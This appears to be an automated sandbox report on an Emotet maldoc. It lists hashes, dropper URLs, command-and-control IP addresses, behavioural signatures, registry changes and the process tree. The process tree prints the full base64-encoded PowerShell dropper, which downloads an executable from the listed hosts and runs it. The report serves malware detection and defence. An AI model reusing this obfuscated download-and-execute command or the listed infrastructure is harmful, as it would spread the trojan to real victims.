emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
157s
max time network
113s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-31_21329.doc
Size

123KB
MD5

0ce489e6fc15333d4e2a3c52d33a9673
SHA1

f93900b039e0f70182750ed9444230a43a29e937
SHA256

5eb7a7a2d5f10d6a7ce69fea271f6eb546bce3e7bb76d8f9446005630679dbf0
SHA512

701f03a1050d11d52257c9dabae837525900127bec809fb4b54d538f6dab3baddf0ad37d1a5deca099ca1075632eab1fe709c072cdf635cae809b05d644392a7

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://alea.ir/f4k/1v/

exe.dropper

http://www.baptist.sumy.ua/irardpxot/h/

exe.dropper

http://baptist.sumy.ua/irardpxot/dtkv158/

exe.dropper

http://www.ecoleannedeguigne.fr/wp-admin/x61n9/

exe.dropper

http://goldengarden.com.br/cgi-bin/ty/

Extracted

Family

emotet

104.236.28.47:8080

162.241.92.219:8080

190.53.135.159:21

5.196.74.210:8080

58.171.42.66:8080

72.189.57.105:80

223.197.185.60:80

108.6.140.26:80

78.189.180.107:80

217.160.182.191:8080

62.75.187.192:8080

104.236.246.93:8080

105.247.123.133:8080

76.104.80.47:80

181.13.24.82:80

218.255.173.106:80

62.138.26.28:8080

190.114.244.182:443

91.205.215.66:443

74.208.45.104:8080

rsa_pubkey.plain

Signatures

Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

722.exethrdctl.exe

pid process

1832 722.exe
1808 thrdctl.exe

pid	process
1832	722.exe
1808	thrdctl.exe

Drops file in System32 directory 2 IoCs

Processes:

PoWERsheLL.exe722.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	PoWERsheLL.exe
File renamed	C:\Users\Admin\722.exe => C:\Windows\SysWOW64\thrdctl.exe	722.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1868 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

PoWERsheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2040	1996	PoWERsheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

PoWERsheLL.exe

description pid process

Token: SeDebugPrivilege 2040 PoWERsheLL.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

PoWERsheLL.exe

pid process

2040 PoWERsheLL.exe
2040 PoWERsheLL.exe

description	pid	process
Token: SeDebugPrivilege	2040	PoWERsheLL.exe

pid	process
2040	PoWERsheLL.exe
2040	PoWERsheLL.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{F160805E-004A-4FDC-A1F2-0D3A96B9E5EC}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F160805E-004A-4FDC-A1F2-0D3A96B9E5EC}\2.0\FLAGS	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

WINWORD.EXE722.exe722.exethrdctl.exethrdctl.exe

pid	process
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1868	WINWORD.EXE
1520	722.exe
1832	722.exe
1812	thrdctl.exe
1808	thrdctl.exe

Blacklisted process makes network request 5 IoCs

Processes:

PoWERsheLL.exe

flow pid process

7 2040 PoWERsheLL.exe
9 2040 PoWERsheLL.exe
11 2040 PoWERsheLL.exe
13 2040 PoWERsheLL.exe
15 2040 PoWERsheLL.exe
Executes dropped EXE 4 IoCs

Processes:

722.exe722.exethrdctl.exethrdctl.exe

pid process

1520 722.exe
1832 722.exe
1812 thrdctl.exe
1808 thrdctl.exe

flow	pid	process
7	2040	PoWERsheLL.exe
9	2040	PoWERsheLL.exe
11	2040	PoWERsheLL.exe
13	2040	PoWERsheLL.exe
15	2040	PoWERsheLL.exe

pid	process
1520	722.exe
1832	722.exe
1812	thrdctl.exe
1808	thrdctl.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

722.exethrdctl.exe

description	pid	process	target process
PID 1520 wrote to memory of 1832	1520	722.exe	722.exe
PID 1520 wrote to memory of 1832	1520	722.exe	722.exe
PID 1520 wrote to memory of 1832	1520	722.exe	722.exe
PID 1520 wrote to memory of 1832	1520	722.exe	722.exe
PID 1812 wrote to memory of 1808	1812	thrdctl.exe	thrdctl.exe
PID 1812 wrote to memory of 1808	1812	thrdctl.exe	thrdctl.exe
PID 1812 wrote to memory of 1808	1812	thrdctl.exe	thrdctl.exe
PID 1812 wrote to memory of 1808	1812	thrdctl.exe	thrdctl.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-31_21329.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1868

C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
PoWERsheLL -e JABLAGUAawB6AGsAcgByAHUAZwBtAD0AJwBFAGwAbgBlAGkAbwBtAHAAJwA7ACQAWQBoAGQAaABrAHoAagByAHoAIAA9ACAAJwA3ADIAMgAnADsAJABZAHQAZQBvAHYAbAB1AGsAcQBnAD0AJwBSAGsAeQBsAGsAbgBmAHEAJwA7ACQARABvAHYAdQB5AHcAYgBlAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFkAaABkAGgAawB6AGoAcgB6ACsAJwAuAGUAeABlACcAOwAkAEYAegB2AHcAdQBhAGQAbgBqAHQAegB2AGwAPQAnAEMAdgBpAG0AYgBpAHYAbgBoACcAOwAkAE4AdQBmAHQAdQBoAGIAdAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAGUAYgBDAGwASQBFAG4AdAA7ACQARQBrAG8AcABpAGgAegBqAHoAaABrAG4AdQA9ACcAaAB0AHQAcAA6AC8ALwBhAGwAZQBhAC4AaQByAC8AZgA0AGsALwAxAHYALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGEAcAB0AGkAcwB0AC4AcwB1AG0AeQAuAHUAYQAvAGkAcgBhAHIAZABwAHgAbwB0AC8AaAAvACoAaAB0AHQAcAA6AC8ALwBiAGEAcAB0AGkAcwB0AC4AcwB1AG0AeQAuAHUAYQAvAGkAcgBhAHIAZABwAHgAbwB0AC8AZAB0AGsAdgAxADUAOAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGUAYwBvAGwAZQBhAG4AbgBlAGQAZQBnAHUAaQBnAG4AZQAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHgANgAxAG4AOQAvACoAaAB0AHQAcAA6AC8ALwBnAG8AbABkAGUAbgBnAGEAcgBkAGUAbgAuAGMAbwBtAC4AYgByAC8AYwBnAGkALQBiAGkAbgAvAHQAeQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBjAGIAYgBtAHUAbgB6AG4AZQBzAHkAPQAnAEgAZAB3AHcAZQB2AHoAcwBmAGgAcgB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAHgAYgBpAHYAZgBrAGQAYwAgAGkAbgAgACQARQBrAG8AcABpAGgAegBqAHoAaABrAG4AdQApAHsAdAByAHkAewAkAE4AdQBmAHQAdQBoAGIAdAAuACIAZABPAFcAbgBsAG8AYQBkAGAARgBgAGkAYABMAEUAIgAoACQAUQB4AGIAaQB2AGYAawBkAGMALAAgACQARABvAHYAdQB5AHcAYgBlAHoAKQA7ACQAUQBrAG0AbgBhAGEAcQBhAGwAaABoAGUAPQAnAFMAYgBrAHgAcgBzAHUAZgB5AHIAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABEAG8AdgB1AHkAdwBiAGUAegApAC4AIgBMAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIAMgA0ADEAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAHQAZQAiACgAJABEAG8AdgB1AHkAdwBiAGUAegApADsAJABSAHgAdABrAHAAcQB1AGkAZABzAGUAeQA9ACcASAByAG8AcABhAG8AbgBhACcAOwBiAHIAZQBhAGsAOwAkAFUAZgBsAHoAbABsAHUAawB6AGYAeQBjAHMAPQAnAE4AbgBkAG8AaQBmAHkAYQBwAG0AbgBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AaAByAHQAdwBwAGoAZQA9ACcAUwB4AHUAeQBsAGUAZQB6AHIAeABtAGEAagAnAA==
1⤵
- Drops file in System32 directory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2040

C:\Users\Admin\722.exe
C:\Users\Admin\722.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1520

C:\Users\Admin\722.exe
--a7c45595
2⤵
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1832

C:\Windows\SysWOW64\thrdctl.exe
"C:\Windows\SysWOW64\thrdctl.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\SysWOW64\thrdctl.exe
--df0942ab
2⤵
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1808

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\722.exe

Download Submit
C:\Users\Admin\722.exe

Download Submit
C:\Users\Admin\722.exe

Download Submit
C:\Windows\SysWOW64\thrdctl.exe

Download Submit
C:\Windows\SysWOW64\thrdctl.exe

Download Submit
memory/1520-11-0x0000000000250000-0x0000000000265000-memory.dmp

Filesize
84KB

Download
memory/1808-19-0x0000000000400000-0x000000000049E000-memory.dmp

Filesize
632KB

Download
memory/1808-18-0x0000000000360000-0x0000000000375000-memory.dmp

Filesize
84KB

Download
memory/1812-16-0x00000000003B0000-0x00000000003C5000-memory.dmp

Filesize
84KB

Download
memory/1832-14-0x0000000000400000-0x000000000049E000-memory.dmp

Filesize
632KB

Download
memory/1832-13-0x00000000003D0000-0x00000000003E5000-memory.dmp

Filesize
84KB

Download
memory/1868-2-0x0000000008830000-0x0000000008834000-memory.dmp

Filesize
16KB

Download
memory/1868-8-0x000000000A870000-0x000000000A874000-memory.dmp

Filesize
16KB

Download
memory/1868-7-0x0000000007F50000-0x0000000008150000-memory.dmp

Filesize
2.0MB

Download
memory/1868-6-0x000000000A870000-0x000000000A874000-memory.dmp

Filesize
16KB

Download